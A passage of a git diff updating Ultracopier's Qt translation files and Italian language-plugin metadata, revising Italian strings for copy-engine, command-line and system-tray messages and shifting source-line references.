- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="95"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="38"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="93"/>
<source>Memory allocation failed</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="66"/>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="84"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="64"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="82"/>
<source>Write error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="99"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="97"/>
<source>Memory usage limit reached</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="103"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="101"/>
<source>Not a .xz file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="107"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="105"/>
<source>Unsupported options in the .xz headers</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="112"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="110"/>
<source>The file is corrupted</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="116"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="114"/>
<source>Bug!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="126"/>
+ <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="124"/>
<source>The input data is too short</source>
<translation type="unfinished"></translation>
</message>
@@ -1057,85 +1265,117 @@ since:%2</source>
<context>
<name>SystrayIcon</name>
<message>
- <location filename="../../../SystrayIcon.cpp" line="110"/>
+ <location filename="../../../SystrayIcon.cpp" line="163"/>
<source>No copy listener found. Do the copy manually by right click one the system tray icon.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="116"/>
+ <location filename="../../../SystrayIcon.cpp" line="169"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="127"/>
- <source>Searching informations...</source>
+ <location filename="../../../SystrayIcon.cpp" line="187"/>
+ <source>Searching information...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="140"/>
- <source>Not catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="200"/>
+ <source>Do not replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="145"/>
- <source>Semi catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="205"/>
+ <source>Semi replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="150"/>
- <source>Catching the explorer copy/move</source>
+ <location filename="../../../SystrayIcon.cpp" line="210"/>
+ <source>Replace the explorer copy/move</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="308"/>
- <source>Action on the systray icon is unknown!</source>
+ <location filename="../../../SystrayIcon.cpp" line="377"/>
+ <source>The action on the systray icon is unknown!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="356"/>
+ <location filename="../../../SystrayIcon.cpp" line="425"/>
<source>&amp;About/Debug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="358"/>
+ <location filename="../../../SystrayIcon.cpp" line="427"/>
<source>&amp;About</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="360"/>
+ <location filename="../../../SystrayIcon.cpp" line="430"/>
+ <source>&amp;Save bug report</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="432"/>
<source>&amp;Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="361"/>
+ <location filename="../../../SystrayIcon.cpp" line="433"/>
<source>&amp;Options</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="362"/>
+ <location filename="../../../SystrayIcon.cpp" line="485"/>
<source>A&amp;dd copy/moving</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="407"/>
- <location filename="../../../SystrayIcon.cpp" line="429"/>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>New version: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="471"/>
+ <source>Click here to go on download page</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="511"/>
+ <source>&amp;Copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="525"/>
+ <location filename="../../../SystrayIcon.cpp" line="539"/>
+ <source>&amp;Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="529"/>
+ <location filename="../../../SystrayIcon.cpp" line="543"/>
+ <source>&amp;Move</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../SystrayIcon.cpp" line="560"/>
+ <location filename="../../../SystrayIcon.cpp" line="577"/>
<source>Add &amp;copy</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="413"/>
- <location filename="../../../SystrayIcon.cpp" line="435"/>
+ <location filename="../../../SystrayIcon.cpp" line="566"/>
+ <location filename="../../../SystrayIcon.cpp" line="583"/>
<source>Add &amp;transfer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../SystrayIcon.cpp" line="417"/>
- <location filename="../../../SystrayIcon.cpp" line="439"/>
+ <location filename="../../../SystrayIcon.cpp" line="570"/>
+ <location filename="../../../SystrayIcon.cpp" line="587"/>
<source>Add &amp;move</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/Languages/it/flag.png b/plugins/Languages/it/flag.png
index a3e3a7b..cc9f71f 100644
--- a/plugins/Languages/it/flag.png
+++ b/plugins/Languages/it/flag.png
Binary files differ
diff --git a/plugins/Languages/it/informations.xml b/plugins/Languages/it/informations.xml
index 89a936c..20f5298 100644
--- a/plugins/Languages/it/informations.xml
+++ b/plugins/Languages/it/informations.xml
@@ -10,14 +10,13 @@
<!-- the date-time format should be in timestamps format -->
<pubDate>1287496800</pubDate>
<!-- Detailed description -->
- <description xml:lang="en"><![CDATA[Translation of Ultracopier to italian. Done for version 0.3.0.0. For more details see the web site.]]></description>
+ <description xml:lang="en"><![CDATA[Translation of Ultracopier to italian. For more details see the web site.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.0.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>it</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- <=ultracopier-0.3
]]></dependencies>
<!-- Additional information that is specific to the category (in this case Language). -->
<categorySpecific>
diff --git a/plugins/Languages/it/translation.ts b/plugins/Languages/it/translation.ts
index 610e750..594562c 100644
--- a/plugins/Languages/it/translation.ts
+++ b/plugins/Languages/it/translation.ts
@@ -4,77 +4,107 @@
<context>
<name>CliParser</name>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
- <location filename="../../../CliParser.cpp" line="63"/>
- <location filename="../../../CliParser.cpp" line="73"/>
- <location filename="../../../CliParser.cpp" line="83"/>
- <location filename="../../../CliParser.cpp" line="166"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
+ <location filename="../../../CliParser.cpp" line="179"/>
<source>Warning</source>
- <translation>Avvertimento</translation>
+ <translation>Avviso</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="27"/>
+ <location filename="../../../CliParser.cpp" line="25"/>
<source>Ultracopier is already running, right click on its system tray icon (near the clock) to use it</source>
- <translation>Il Programma è gia in esecuzione</translation>
+ <translation>Il programma è gia in esecuzione, fare clic con il tasto destro del mouse sulla sua icona della barra di sistema (vicino l&apos;orologio) per usarlo</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="71"/>
+ <source>Problem reading file, or file size is 0</source>
+ <translation>Problema di lettura o dimensione nulla del file</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="159"/>
+ <location filename="../../../CliParser.cpp" line="170"/>
+ <source>The arguments possible are:</source>
+ <translation>Gli argomenti possibili sono:</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="161"/>
+ <location filename="../../../CliParser.cpp" line="172"/>
+ <source>To display the options</source>
+ <translation>Mostra le opzioni</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="164"/>
+ <location filename="../../../CliParser.cpp" line="175"/>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>Copiare i file di origine alla destinazione separati da uno spazio. Se la destinazione è &quot;?&quot;, Ultracopier chiederà all&apos;utente</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="165"/>
+ <location filename="../../../CliParser.cpp" line="176"/>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask the user</source>
+ <translation>Spostare i file di origine alla destinazione separati da uno spazio. Se la destinazione è &quot;?&quot;, Ultracopier chiederà all&apos;utente</translation>
+ </message>
+ <message>
+ <location filename="../../../CliParser.cpp" line="169"/>
+ <source>Command not valid</source>
+ <translation>Comando non valido</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="63"/>
<source>Problem at the reading, or file size is null</source>
- <translation>Problema alla lettura, o la dimensione del file è nullo</translation>
+ <translation type="obsolete">Problema di lettura o dimensione nulla del file</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="73"/>
+ <location filename="../../../CliParser.cpp" line="84"/>
<source>This file is not supported transfer list</source>
- <translation>Questo file non è supportato lista dei trasferimenti</translation>
+ <translation>Questo file non è supportato dalla lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="83"/>
+ <location filename="../../../CliParser.cpp" line="94"/>
<source>Unable to open the transfer list file</source>
- <translation>Impossibile aprire il file lista dei trasferimenti</translation>
+ <translation>Impossibile aprire il file della lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="148"/>
- <location filename="../../../CliParser.cpp" line="158"/>
<source>The arguments possibles are:</source>
- <translation>Gli argomenti possibili sono:</translation>
+ <translation type="obsolete">Gli argomenti possibili sono:</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="149"/>
- <location filename="../../../CliParser.cpp" line="159"/>
- <source>To have this help</source>
- <translation>Per avere questo aiuto</translation>
+ <location filename="../../../CliParser.cpp" line="160"/>
+ <location filename="../../../CliParser.cpp" line="171"/>
+ <source>To display this help</source>
+ <translation>Mostra questo aiuto</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="150"/>
- <location filename="../../../CliParser.cpp" line="160"/>
- <source>To quit the other instance running (if have)</source>
- <translation>Per chiudere il funzionamento altra istanza (se hanno)</translation>
+ <location filename="../../../CliParser.cpp" line="162"/>
+ <location filename="../../../CliParser.cpp" line="173"/>
+ <source>To quit the other instances (if running)</source>
+ <translation>Chiudere le altre istanze (se in esecuzione)</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="151"/>
- <location filename="../../../CliParser.cpp" line="161"/>
- <source>To pass transfer list to do</source>
- <translation>Per passare lista di trasferimento di fare</translation>
+ <location filename="../../../CliParser.cpp" line="163"/>
+ <location filename="../../../CliParser.cpp" line="174"/>
+ <source>Open transfer list</source>
+ <translation>Apri la lista dei trasferimenti</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="152"/>
- <location filename="../../../CliParser.cpp" line="162"/>
- <source>To copy sources separated by space to destination. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
- <translation>Per copiare sorgenti separate da uno spazio a destinazione. Se la destinazione è &quot;?&quot;, Ultracopier lo chiederà all&apos;utente</translation>
+ <source>To quit the other instance running (if have)</source>
+ <translation type="obsolete">Chiudere l&apos;altra istanza in esecuzione (se necessario)</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="153"/>
- <location filename="../../../CliParser.cpp" line="163"/>
- <source>Same as above, but with move</source>
- <translation>Stessa mossa come sopra, ma con</translation>
+ <source>To copy sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <translation type="obsolete">Copiare i file di origine alla destinazione separati da uno spazio. Se la destinazione è &quot;?&quot;, Ultracopier chiederà all&apos;utente</translation>
+ </message>
+ <message>
+ <source>To move sources to destination, separated by space. If destination is &quot;?&quot;, ultracopier will ask it to the user</source>
+ <translation type="obsolete">Spostare i file di origine alla destinazione separati da uno spazio. Se la destinazione è &quot;?&quot;, Ultracopier chiederà all&apos;utente</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="157"/>
<source>Command line not understand</source>
- <translation>Riga di comando non capire</translation>
+ <translation type="obsolete">Riga di comando non idonea</translation>
</message>
<message>
- <location filename="../../../CliParser.cpp" line="168"/>
+ <location filename="../../../CliParser.cpp" line="181"/>
<source>Help</source>
<translation>Aiuto</translation>
</message>
@@ -82,329 +112,404 @@
<context>
<name>CopyEngineManager</name>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Warning</source>
- <translation>Avvertimento</translation>
+ <translation>Avviso</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="229"/>
+ <source>Cannot find any copy engine with move support</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../CopyEngineManager.cpp" line="257"/>
+ <source>This copy engine does not support move</source>
+ <translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="193"/>
<source>Cannot find any copy engine with motions support</source>
- <translation>Non è stato nessuna copia del programma con nozioni di sopporto</translation>
+ <translation type="obsolete">Impossibile trovare alcun motore per la copia con supporto trasferimenti</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="198"/>
+ <location filename="../../../CopyEngineManager.cpp" line="234"/>
<source>Cannot find any compatible engine!</source>
- <translation>Non è stato trovato nessun programma compatibile!</translation>
+ <translation>Impossibile trovare un motore per la copia compatibile!</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="219"/>
<source>This copy engine does not support motions</source>
- <translation>Questa copia del programma non sopporta le nozioni</translation>
+ <translation type="obsolete">Questo motore per la copia non supporta trasferimenti</translation>
</message>
<message>
- <location filename="../../../CopyEngineManager.cpp" line="233"/>
+ <location filename="../../../CopyEngineManager.cpp" line="271"/>
<source>Cannot find any engine with this name: %1</source>
- <translation>Non riesci a trovare un motore con questo nome: %1</translation>
+ <translation>Impossibile trovare un motore per la copia con questo nome: %1</translation>
+ </message>
+</context>
+<context>
+ <name>CopyListener</name>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error</source>
+ <translation>Errore</translation>
+ </message>
+ <message>
+ <location filename="../../../CopyListener.cpp" line="158"/>
+ <source>Error during the reception of the copy/move list
+%1</source>
+ <translation>Errore durante la ricezione della lista di copia/spostamento
+%1</translation>
</message>
</context>
<context>
<name>Core</name>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="116"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
- <location filename="../../../Core.cpp" line="234"/>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="216"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Error</source>
<translation>Errore</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="41"/>
- <location filename="../../../Core.cpp" line="94"/>
- <location filename="../../../Core.cpp" line="107"/>
- <location filename="../../../Core.cpp" line="160"/>
- <location filename="../../../Core.cpp" line="175"/>
- <location filename="../../../Core.cpp" line="195"/>
+ <location filename="../../../Core.cpp" line="45"/>
+ <location filename="../../../Core.cpp" line="142"/>
+ <location filename="../../../Core.cpp" line="157"/>
+ <location filename="../../../Core.cpp" line="177"/>
+ <location filename="../../../Core.cpp" line="191"/>
+ <location filename="../../../Core.cpp" line="200"/>
<location filename="../../../Core.cpp" line="209"/>
- <location filename="../../../Core.cpp" line="218"/>
- <location filename="../../../Core.cpp" line="227"/>
<source>Unable to get a copy engine instance</source>
- <translation>Impossibile ottenere un&apos;istanza motore di copia</translation>
+ <translation>Impossibile ottenere un&apos;istanza dal motore per la copia</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Group window</source>
+ <translation>Raggruppa finestre</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="93"/>
+ <source>Do you want group the transfer with another actual running transfer?</source>
+ <translation>Vuoi un altro gruppo di trasferimento con un altro trasferimento attualmente avviato?</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="116"/>
+ <source>Unable to get a engine instance</source>
+ <translation>Impossibile ottenere un&apos;istanza dal motore per la copia</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="216"/>
+ <source>The argument for the mode is not valid</source>
+ <translation>L&apos;argomento per la modalità non è valido</translation>
+ </message>
+ <message>
+ <location filename="../../../Core.cpp" line="1133"/>
+ <source>Do you want to copy? If no, it will be moved.</source>
+ <translation>Vuoi copiarlo? se no, verrà spostato.</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="234"/>
<source>The argument for the mode is not understand</source>
- <translation>L&apos;argomento per la modalità non è capire</translation>
+ <translation type="obsolete">L&apos;argomento per la modalità non è idoneo</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="270"/>
- <location filename="../../../Core.cpp" line="386"/>
+ <location filename="../../../Core.cpp" line="250"/>
+ <location filename="../../../Core.cpp" line="387"/>
<source>Unable to load the interface, copy aborted</source>
- <translation>Impossibile caricare l&apos;interfaccia, copia abortita</translation>
+ <translation>Impossibile avviare l&apos;interfaccia, copia interrotta</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="391"/>
+ <location filename="../../../Core.cpp" line="392"/>
<source>Unable to load the copy engine, copy aborted</source>
- <translation>Impossibile caricare il programma di copia, copia abortita</translation>
+ <translation>Impossibile avviare il motore per la copia, copia interrotta</translation>
</message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
+ <location filename="../../../Core.cpp" line="1133"/>
<source>Transfer mode</source>
<translation>Modalità di trasferimento</translation>
</message>
+</context>
+<context>
+ <name>EventDispatcher</name>
+ <message>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Key</source>
+ <translation type="unfinished"></translation>
+ </message>
<message>
- <location filename="../../../Core.cpp" line="953"/>
- <source>Do you want do as a copy? Else if you reply no, it will be moved.</source>
- <translation>Vuoi fare come una copia? Altrimenti, se si risponde no, verrà spostato.</translation>
+ <location filename="../../../EventDispatcher.cpp" line="155"/>
+ <source>Give the key of this software, more information on &lt;a href=&quot;http://ultracopier.first-world.info/&quot;&gt;ultracopier.first-world.info&lt;/a&gt;</source>
+ <translation type="unfinished"></translation>
</message>
</context>
<context>
<name>FacilityEngine</name>
<message>
- <location filename="../../../FacilityEngine.cpp" line="40"/>
+ <location filename="../../../FacilityEngine.cpp" line="43"/>
<source>Copy engine</source>
- <translation>Copia il programma</translation>
+ <translation>Motore per la copia</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="41"/>
+ <location filename="../../../FacilityEngine.cpp" line="45"/>
<source>Copy</source>
+ <extracomment>a copy</extracomment>
<translation>Copia</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="42"/>
+ <location filename="../../../FacilityEngine.cpp" line="49"/>
<source>Move</source>
- <translation>Muovi</translation>
+ <extracomment>a move</extracomment>
+ <translation>Sposta</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="43"/>
+ <location filename="../../../FacilityEngine.cpp" line="51"/>
<source>Pause</source>
<translation>Pausa</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="44"/>
+ <location filename="../../../FacilityEngine.cpp" line="52"/>
<source>Resume</source>
- <translation>Riprendere</translation>
+ <translation>Riprendi</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="45"/>
- <location filename="../../../FacilityEngine.cpp" line="59"/>
+ <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="67"/>
<source>Skip</source>
- <translation>Saltare</translation>
+ <translation>Salta</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="46"/>
+ <location filename="../../../FacilityEngine.cpp" line="54"/>
<source>Unlimited</source>
<translation>Illimitato</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="24"/>
+ <location filename="../../../FacilityEngine.cpp" line="27"/>
<source>s</source>
<translation>s</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="25"/>
+ <location filename="../../../FacilityEngine.cpp" line="28"/>
<source>Too big</source>
<translation>Troppo grande</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="26"/>
+ <location filename="../../../FacilityEngine.cpp" line="29"/>
<source>B</source>
<translation>B</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="27"/>
+ <location filename="../../../FacilityEngine.cpp" line="30"/>
<source>KB</source>
<translation>KB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="28"/>
+ <location filename="../../../FacilityEngine.cpp" line="31"/>
<source>MB</source>
<translation>MB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="29"/>
+ <location filename="../../../FacilityEngine.cpp" line="32"/>
<source>GB</source>
<translation>GB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="30"/>
+ <location filename="../../../FacilityEngine.cpp" line="33"/>
<source>TB</source>
<translation>TB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="31"/>
+ <location filename="../../../FacilityEngine.cpp" line="34"/>
<source>PB</source>
<translation>PB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="32"/>
+ <location filename="../../../FacilityEngine.cpp" line="35"/>
<source>EB</source>
<translation>EB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="33"/>
+ <location filename="../../../FacilityEngine.cpp" line="36"/>
<source>ZB</source>
<translation>ZB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="34"/>
+ <location filename="../../../FacilityEngine.cpp" line="37"/>
<source>YB</source>
<translation>YB</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="35"/>
+ <location filename="../../../FacilityEngine.cpp" line="38"/>
<source>Less than %10 seconds</source>
- <translation>Meno di %10 secondi sulla</translation>
+ <translation>Meno di %10 secondi</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="36"/>
+ <location filename="../../../FacilityEngine.cpp" line="39"/>
<source>About %10 seconds remaining</source>
<translation>Circa %10 secondi rimanenti</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="37"/>
+ <location filename="../../../FacilityEngine.cpp" line="40"/>
<source>About %1 minutes remaining</source>
<translation>Circa %1 minuti rimanenti</translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="38"/>
+ <location filename="../../../FacilityEngine.cpp" line="41"/>
<source>About %1 hours remaining</source>
- <translation>Circa %1 restanti ore</translation>
+ <translation>Circa %1 ore rimanenti</translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation>Trasferisci</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translatorcomment>Uno spostamento</translatorcomment>
+ <translation>Avvia</translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
